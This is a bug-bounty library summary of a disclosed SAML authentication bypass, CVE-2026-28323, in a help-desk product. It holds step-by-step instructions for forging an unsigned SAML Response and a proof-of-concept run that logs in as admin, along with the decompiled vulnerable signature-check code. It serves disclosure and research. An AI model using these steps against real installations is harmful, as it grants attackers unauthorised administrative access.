# Signature Optional - Analysis of CVE-2026-28323

SolarWinds Web Help Desk's SAML handler skipped signature checks when no cert was configured and accepted unsigned assertions, letting unauthenticated attackers log in as any existing user.

- Payout: Research
- Severity: critical
- Program: SolarWinds
- Found by (vendor credit): Dhabaleshwar Das
- Write-up by: Dhabaleshwar Das
- Disclosed: 2026-09-03
- CVE: CVE-2026-28323
- Write-up quality: 8/10
- Original: https://bishopfox.com/blog/signature-optional-analysis-of-cve-2026-28323
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-signature-optional-analysis-of-cve-2026-28323
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:research sev:critical tech:java tech:saml technique:incomplete-fix technique:source-review vuln:auth-bypass

**Target:** SAML Service Provider login endpoint (/helpdesk/WebObjects/Helpdesk.woa)
**Root cause:** checkSignature() was only invoked when a verification certificate existed, and even then returned true for responses lacking any <Signature> element; no Destination, Audience, temporal, InResponseTo or Issuer validation was performed.
**Steps:**
1. Enable SAML 2.0 auth on WHD 2026.1 (no verification cert uploaded, or any config).
2. GET the login page to obtain a session and CSRF token.
3. Base64-encode a forged SAML Response whose first assertion Subject NameID is an existing username, with no <Signature> element.
4. POST `SAMLResponse=<forged>` to `/helpdesk/WebObjects/Helpdesk.woa` with the CSRF token.
5. Receive an authenticated JSESSIONID for the target user.
**How found:** Decompiled whd-core.jar from both vulnerable and patched RPMs and read the SAML processing path in ExternalAuthenticationProvider/SamlConsumer, spotting the null-cert gate and the null-signature branch returning true.
**Exploitation:** Attacker forges an unsigned SAML Response naming an existing account's NameID and POSTs it to the login endpoint in a single request after session/CSRF setup; WHD parses it, skips signature verification, and issues an authenticated session cookie granting that user's access.
**Escalation:** Targeting an admin username yields administrative control of the help desk; auto-provisioned non-existent users produce unusable sessions, so existing accounts are required.
**Insight:** In legacy SAML SP code, trace the exact branch where signature verification is invoked: a null-check gate on the IdP cert or a 'no signature found' fallback returning success turns verification into an optional step. Also check whether Destination/Audience/InResponseTo are validated at all.

## Proof of concept (copied exactly from the original report)

**PoC exploit run forging SAML response for admin**

```
$ python3 exploit_cve_2026_28323.py --target https://whd.local:8443 --user admin 

[*] Target: https://whd.local:8443 
[*] Forging SAML Response for user: admin 
[+] Form action: /helpdesk/WebObjects/Helpdesk.woa 
[+] CSRF token: 33ee49f0-c74b-4b94-a667-03aeee7326d1 
[+] SUCCESS - Authenticated as 'admin'! 
[+] Page title: Web Help Desk - My Tickets 
 JSESSIONID=4EC4420477C09CC2FADA9A3A7C7FDA54
```

**Vulnerable signature check accepting unsigned response**

```
private static boolean checkSignature(Response response, NSData nSData) { 
 boolean z = false; 
 try { 
 X509Certificate cert = MDSUtils.x509CertificateFromCertData(nSData); 
 BasicX509Credential cred = new BasicX509Credential(); 
 cred.setPublicKey(cert.getPublicKey()); 
 SignatureValidator validator = new SignatureValidator(cred); 

 Signature sig = getAssertionSignature(response); 

 if (sig == null) { 
 _logger.warn("No signature provided in SAML Response; " 
 + "cannot verify authenticity based on SAML certificate."); 
 z = true; // <-- accepts unsigned response 
 } else { 
 validator.validate(sig); 
 z = true; 
 } 
 } catch (ValidationException e2) { 

 throw e2; // only rejects if signature is present AND invalid
```

**Conditional signature verification gated on cert**

```
public static String getAuthenticatedUserFromSamlResponse( 
 String str, NSData nSData) { 
 byte[] decoded = Base64.decode(str.trim()); 
 Response response = unmarshall(decoded); 

 if (nSData != null) {// <-- only checks signature if cert exists 
 checkSignature(response, nSData); 
 } 

 // ... status code logging (non-blocking) ... 

 return authenticatedUserInResponse(response); // extracts NameID, returns username
```

